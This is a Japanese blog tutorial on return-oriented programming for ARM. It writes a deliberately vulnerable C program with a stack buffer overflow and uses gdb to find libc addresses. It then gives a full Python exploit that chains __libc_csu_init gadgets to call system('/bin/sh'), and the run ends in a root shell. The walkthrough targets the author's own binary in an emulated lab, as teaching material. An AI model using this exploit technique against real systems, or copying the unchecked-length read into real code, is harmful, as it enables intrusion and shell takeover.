読者です 読者をやめる 読者になる 読者になる

ARMでReturn-oriented Programming(ROP)をやってみる

ARM EABI(armel)環境でReturn-oriented Programming(ROP)をやってみる。

環境

Ubuntu 14.04.2 LTS ARM版(ユーザモードQEMU利用)

# uname -a
Linux c7b94bb2fc1e 2.6.32 #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 armv7l armv7l armv7l GNU/Linux

# lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.2 LTS
Release:        14.04
Codename:       trusty

# gcc --version
gcc (Ubuntu/Linaro 4.8.2-19ubuntu1) 4.8.2

脆弱性のあるプログラムを書いてみる

まず、スタックバッファオーバーフロー脆弱性のあるプログラムコードを書く。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    read(0, &size, 4);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

ここでは、read/write関数を使い、データ長とその長さのデータを読み込んでいる。

DEP有効、SSP無効でコンパイルし、実行してみると次のようになる。 なお、QEMUによるエミュレーションのため、ASLRは常に無効となっている。

# gcc -fno-stack-protector bof.c
# echo -en '\x05\x00\x00\x00AAAA\n' | ./a.out
AAAA

正常に実行できていることが確認できる。

生成された実行ファイルをディスアセンブルし、main関数に対応する部分を抜き出してみる。

# objdump -d a.out | awk '/<main>:/,/^$/'
00008420 <main>:
    8420:       b580            push    {r7, lr}
    8422:       b09a            sub     sp, #104        ; 0x68
    8424:       af00            add     r7, sp, #0
    8426:       463b            mov     r3, r7
    8428:       2000            movs    r0, #0
    842a:       4619            mov     r1, r3
    842c:       2204            movs    r2, #4
    842e:       f7ff ef6c       blx     8308 <_init+0x20>
    8432:       683b            ldr     r3, [r7, #0]
    8434:       1d3a            adds    r2, r7, #4
    8436:       2000            movs    r0, #0
    8438:       4611            mov     r1, r2
    843a:       461a            mov     r2, r3
    843c:       f7ff ef64       blx     8308 <_init+0x20>
    8440:       683b            ldr     r3, [r7, #0]
    8442:       1d3a            adds    r2, r7, #4
    8444:       2001            movs    r0, #1
    8446:       4611            mov     r1, r2
    8448:       461a            mov     r2, r3
    844a:       f7ff ef70       blx     832c <_init+0x44>
    844e:       2300            movs    r3, #0
    8450:       4618            mov     r0, r3
    8452:       3768            adds    r7, #104        ; 0x68
    8454:       46bd            mov     sp, r7
    8456:       bd80            pop     {r7, pc}

アセンブリコードの内容から、「ARMで単純なスタックバッファオーバーフローをやってみる」の場合と同じくリターンアドレスがバッファの先頭から104バイト先に配置されていることがわかる。 ここでは、このオフセットについてデバッガで確認する手順は省略する。

デバッガでlibcのベースアドレスなどを調べてみる

今回はASLRが無効のため、デバッガを使い__libc_start_main関数の実際のアドレスを調べることで、libcのベースアドレスを特定することができる。 また、合わせてsystem関数、exit関数が呼ばれる際のARM/Thumbステートについても確認してみる。

root@c7b94bb2fc1e:/# qemu-gdb -q ./a.out
[1] 9
Reading symbols from ./a.out...(no debugging symbols found)...done.
Remote debugging using :1234
Reading symbols from /lib/ld-linux-armhf.so.3...Reading symbols from /usr/lib/debug//lib/arm-linux-gnueabihf/ld-2.19.so...done.
done.
Loaded symbols for /lib/ld-linux-armhf.so.3
0xf67debc0 in _start () from /lib/ld-linux-armhf.so.3
(gdb) b main
Breakpoint 1 at 0x842e
(gdb) c
Continuing.

Breakpoint 1, 0x0000842e in main ()
(gdb) p __libc_start_main
$1 = {int (int (*)(int, char **, char **), int, char **, int (*)(int, char **, char **), void (*)(void), void (*)(void), void *)} 0xf6708598 <__libc_start_main>
(gdb) disas/r system
Dump of assembler code for function __libc_system:
   0xf6720c94 <+0>:     00 b1   cbz     r0, 0xf6720c98 <__libc_system+4>
   0xf6720c96 <+2>:     95 e5   b.n     0xf67207c4 <do_system>
   ...
End of assembler dump.
(gdb) disas/r exit
Dump of assembler code for function __GI_exit:
   0xf671a76c <+0>:     02 49   ldr     r1, [pc, #8]    ; (0xf671a778 <__GI_exit+12>)
   0xf671a76e <+2>:     01 22   movs    r2, #1
   ...
End of assembler dump.
(gdb) quit
A debugging session is active.

        Inferior 1 [Remote target] will be killed.

Quit anyway? (y or n) y

QEMU: Terminated via GDBstub
[1]+  Done                    qemu-arm-static -g 1234 "${!#}" 0<&0

上の結果から、__libc_start_main関数は0xf6708598にあることがわかる。 また、system関数、exit関数はどちらも2バイト固定長命令から始まっている、すなわちThumbステートで呼び出されることがわかる。

読み込まれるlibcバイナリからシンボルのアドレスを調べ、libcのベースアドレスを計算してみる。

# ldd ./a.out
        libc.so.6 => /lib/arm-linux-gnueabihf/libc.so.6 (0xf66f1000)
        /lib/ld-linux-armhf.so.3 (0xf6fdf000)

# nm -D /lib/arm-linux-gnueabihf/libc.so.6 | grep __libc_start_main
00017598 T __libc_start_main

# python -c 'print hex(0xf6708598-0x00017598)'
0xf66f1000L

上の結果から、libcのベースアドレスが0xf66f1000であることがわかる。

エクスプロイトコードを書いてみる

ここまでの情報をもとに、ROPによるエクスプロイトコードを書くと次のようになる。

# exploit.py
import struct
from subprocess import Popen, PIPE

addr_libc_start = 0xf6708598
offset = 104

offset_libc_start = 0x17598
base_libc = addr_libc_start - offset_libc_start

addr_csu_init1 = 0x848a + 1
addr_csu_init2 = 0x847e + 1
addr_libc_system = base_libc + 0x2fc94 + 1
addr_libc_exit = base_libc + 0x2976c + 1
addr_binsh = base_libc + 0xcbd3c

"""
# objdump -d a.out
00008458 <__libc_csu_init>:
    ...
    847e:       4638            mov     r0, r7
    8480:       4641            mov     r1, r8
    8482:       464a            mov     r2, r9
    8484:       4798            blx     r3
    8486:       42b4            cmp     r4, r6
    8488:       d1f6            bne.n   8478 <__libc_csu_init+0x20>
    848a:       e8bd 83f8       ldmia.w sp!, {r3, r4, r5, r6, r7, r8, r9, pc}

# nm -D /lib/arm-linux-gnueabihf/libc.so.6 | grep __libc_start_main
00017598 T __libc_start_main

# nm -D /lib/arm-linux-gnueabihf/libc.so.6 | grep system
0002fc94 W system

# nm -D /lib/arm-linux-gnueabihf/libc.so.6 | grep exit
0002976c T exit

# strings -tx /lib/arm-linux-gnueabihf/libc.so.6 | grep /bin/sh
  cbd3c /bin/sh
"""

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

buf = 'A' * offset
buf += struct.pack('<IIIIIIII', addr_csu_init1, addr_libc_system, 0, 0, 0, addr_binsh, 0, 0)
buf += struct.pack('<IIIIIIII', addr_csu_init2, addr_libc_exit, 0, 0, 0, 0, 0 ,0)
buf += struct.pack('<I', addr_csu_init2)

size = struct.pack('<I', len(buf))
p.stdin.write(size)
print "[<] %r" % size

p.stdin.write(buf)
print "[<] %r" % buf

line = p.stdout.read(len(buf))
print "[>] %r" % line

p.stdin.write('exec /bin/sh <&2 >&2\n')
p.wait()

ARMでは引数はレジスタにセットされるため、同じくレジスタにセットされるx64の場合のように__libc_csu_init関数内のgadgetを使って任意の3引数関数を呼ぶことができる。 実際にディスアセンブルすると、このgadgetもThumbステートにて実行されることがわかる。

__libc_csu_init gadgetを用いる今回の場合、x86におけるret相当の操作はldm命令によりスタックからpcがロードされることによって行われる。 また、関数の呼び出しはblx命令によって行われる。 したがって、実際に呼び出す関数、gadgetがThumbステートの場合はアドレスの最下位ビットを1にしておく必要がある。

実際にエクスプロイトコードを実行してみると、次のようになる。

# python exploit.py
[<] '\xac\x00\x00\x00'
[<] 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x8b\x84\x00\x00\x95\x0cr\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<\xcd{\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x84\x00\x00m\xa7q\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x84\x00\x00'
[>] 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x8b\x84\x00\x00\x95\x0cr\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<\xcd{\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x84\x00\x00m\xa7q\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x84\x00\x00'
# id
uid=0(root) gid=0(root) groups=0(root)
#

DEPが有効な条件下で、ROPによるsystem関数の実行によりシェルが起動できていることが確認できた。

関連リンク